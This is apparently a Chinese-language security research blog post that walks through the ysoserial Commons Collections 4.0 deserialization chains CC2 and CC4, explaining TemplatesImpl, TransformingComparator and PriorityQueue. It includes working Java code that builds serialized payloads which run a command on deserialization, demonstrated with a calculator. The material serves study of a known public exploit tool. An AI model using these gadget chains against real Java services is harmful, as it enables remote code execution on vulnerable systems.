前言
Common-Collections <= 3.2.1 對應與YsoSerial為CC1、3、5、6、7 ,Commno-collections4.0對應與CC2、4. 這篇文章結束官方原版YsoSerial關於Common-Collections鏈的分析就已經結束了。
CC2
TemplatesImpl
在之前有介紹過TemplatesImpl
這個類的命令執行利用方法,我們回顧一下,TemplatesImpl中存在對變數_bytecodes
進行defineClass載入的 defineTransletClasses 方法:
這會在JVM中夾在類物件,巧合的是,內部又存在 getTransletInstance() 方法,對剛剛載入的類進行例項化:
對外提供的公共方法中,newTransformer() 又會呼叫 getTransletInstance() 方法,所以找到利用鏈中有誰能夠呼叫newTransformer() 就好。
TransformingComparator
這裡介紹一個新東西TransformingComparator,這個類在Common-collections3.x 和4.x 都存在,但3.x的版本沒有繼承 Serializable ,所以不能用在反序列化利用裡面,寫程式碼引入的時候要注意不要引錯。
TransformingComparator 實現了 Comparator 介面,裡面的 compare 用作進行兩個物件進行比較,介面方法要求:如果o1< o2 返回負數, o1=o2 返回0,o1>02 返回正數:
compare 方法的使用場景會用在陣列、佇列的排序上,我們來看一下 TransformingComparator 對 compare 方法的實現:
在進行比較前,分別先對兩個物件進行執行transfrom方法, 得到的結果再對物件進行compare操作,transfrom
和 decorated
來自類構造方法傳入:
如果不傳入 decorated 則預設使用 ComparableComparator :
這裡的compare方法裡面有呼叫transfomer方法,以及能夠觸發之前介紹過的common-collections惡意transfomer,需要找到一個類在反序列化過程中有呼叫 compare 方法。
PriorityQueue
佇列是遵循先進先出(First-In-First-Out)模式的,但有時需要在佇列中基於優先順序處理物件。
舉兩個例子:
- 作業系統中的排程程式,當一個作業完成後,需要在所有等待排程的作業中選擇一個優先順序最高的作業來執行,並且也可以新增一個新的作業到作業的優先佇列中。
- 每日交易時段生成股票報告的應用程式中,需要處理大量資料並且花費很多處理時間。客戶向這個應用程式傳送請求時,實際上就進入了佇列。我們需要首先處理優先客戶再處理普通使用者。在這種情況下,Java的PriorityQueue(優先佇列)會很有幫助。
PriorityQueue類在Java1.5中引入並作為 Java Collections Framework 的一部分。PriorityQueue是基於優先堆的一個無界佇列,這個優先佇列中的元素可以預設自然排序或者通過提供的Comparator(比較器)在佇列例項化的時排序。
優先佇列不允許空值,而且不支援non-comparable(不可比較)的物件,比如使用者自定義的類。優先佇列要求使用Java Comparable和Comparator介面給物件排序,並且在排序時會按照優先順序處理其中的元素。
優先佇列的頭是基於自然排序或者Comparator排序的最小元素。如果有多個物件擁有同樣的排序,那麼就可能隨機地取其中任意一個。當我們獲取佇列時,返回佇列的頭物件。
優先佇列的大小是不受限制的,但在建立時可以指定初始大小。當我們向優先佇列增加元素的時候,佇列大小會自動增加。
PriorityQueue是非執行緒安全的,所以Java提供了PriorityBlockingQueue(實現BlockingQueue介面)用於Java多執行緒環境。
總的來說就是一種特殊的佇列,初始化時可傳入comparator,在新增或者刪除佇列元素時可呼叫comparator.compare 方法完成排序。
開啟PriorityQueue原始碼,找到readObject,裡面依次呼叫heapify -> siftDown -> siftDownUsingComparator:
其中 siftDownUsingComparator 有呼叫compare方法:
這裡就和上面的TransformingComparator串起來了。
挖掘利用鏈
思路一
PriorityQueue裡面呼叫compare 方法,而TransformingComparator#compare有呼叫transfomer方法,其實已經將漏洞利用給串起來了,那我們使用一個惡意的Transfomer陣列也可以可以利用的:
String cmd = "/System/Applications/Calculator.app/Contents/MacOS/Calculator";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
PriorityQueue priorityQueue = new PriorityQueue(2,new TransformingComparator((chainedTransformer) ));
priorityQueue.add(1);
priorityQueue.add(1);
ReflectUtils.setFields(chainedTransformer,"iTransformers",transformers);
// Field queue = ReflectUtils.getFields(priorityQueue,"queue");
// Object[] objects = (Object[]) queue.get(priorityQueue);
// objects[0] = 1;
// objects[1] = 1;
String path = ExpUtils.serialize(priorityQueue);
ExpUtils.unserialize(path);
其中 ReflectUtils.setFields(chainedTransformer,"iTransformers",transformers);
是為了避免序列化過程中執行惡意程式碼,前面利用鏈分析已經講過,不再贅述,檢視執行效果:
發現有兩個計算器彈出,這是因為在compare中執行了兩個Transformer方法:
思路二
其實上面的程式碼已經能夠在common-collections4.0下執行,但YsoSerial卻不是這麼寫的,YsoSerial更加簡潔,使用我們之間介紹的TemplatesImpl,直接利用InvokerTransfomer進行觸發,程式碼如下:
Templates templates = ExpUtils.getEvilTemplates();
InvokerTransformer transformer = new InvokerTransformer("toString",new Class[0],new Object[0]);
PriorityQueue priorityQueue = new PriorityQueue(2,new TransformingComparator((transformer) ));
priorityQueue.add(1);
priorityQueue.add(1);
ReflectUtils.setFields(transformer,"iMethodName","newTransformer");
Field queue = ReflectUtils.getFields(priorityQueue,"queue");
Object[] objects = (Object[]) queue.get(priorityQueue);
objects[0] = templates;
objects[1] = 1;
String path = ExpUtils.serialize(priorityQueue);
ExpUtils.unserialize(path);
同樣 ReflectUtils.setFields(transformer,"iMethodName","newTransformer");
和:
Field queue = ReflectUtils.getFields(priorityQueue,"queue");
Object[] objects = (Object[]) queue.get(priorityQueue);
objects[0] = templates;
objects[1] = 1;
都是為了避免在佇列新增時觸發程式碼而程式碼執行,執行結果
成功執行命令,只彈出一個是因為執行TemplatesImpl時會報錯拋異常從而導致無法執行下一個transfomer。
CC4
其實CC4 同樣也是使用PriorityQueue,只不過在tranfomer選擇了TrAXFilter,這個和CC3是一致的,只不過是用PriorityQueue來觸發,具體原理不再繼續分析,直接貼程式碼:
Templates templates = ExpUtils.getEvilTemplates();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{String.class},new Object[]{"foo"});
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(String.class),
instantiateTransformer
});
PriorityQueue priorityQueue = new PriorityQueue(2,new TransformingComparator(chainedTransformer));
priorityQueue.add(1);
priorityQueue.add(2);
ReflectUtils.setFields(chainedTransformer,"iTransformers",new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
});
String path = ExpUtils.serialize(priorityQueue);
ExpUtils.unserialize(path);
執行結果:
總結
CC2、CC4都是利用基本資料型別PriorityQueue完成漏洞觸發,只不過CC2使用了TemplesImpl結合InvokerTransfomer,CC4使用了TrAXFilter結合InstantiateTransformer來觸發,相對來說都比較簡單。
至此,終於終於把YsoSerial關於Common-Collections的內容分析完了,這裡面的7條鏈每一條都有詳細跟進,介紹裡面的關鍵利用店,然後自己手敲程式碼實現7條鏈,在不斷分析這些鏈的過程中不斷感嘆這些安全研究人員還真不是吃素的,很多邏輯利用很是巧妙,非常佩服他們。
接下來我會繼續分析CommonsBeanutils1、Jdk7u21,有時間再分析下FileUpload1。
公眾號
歡迎大家關注我的公眾號,這裡有乾貨滿滿的硬核安全知識,和我一起學起來吧!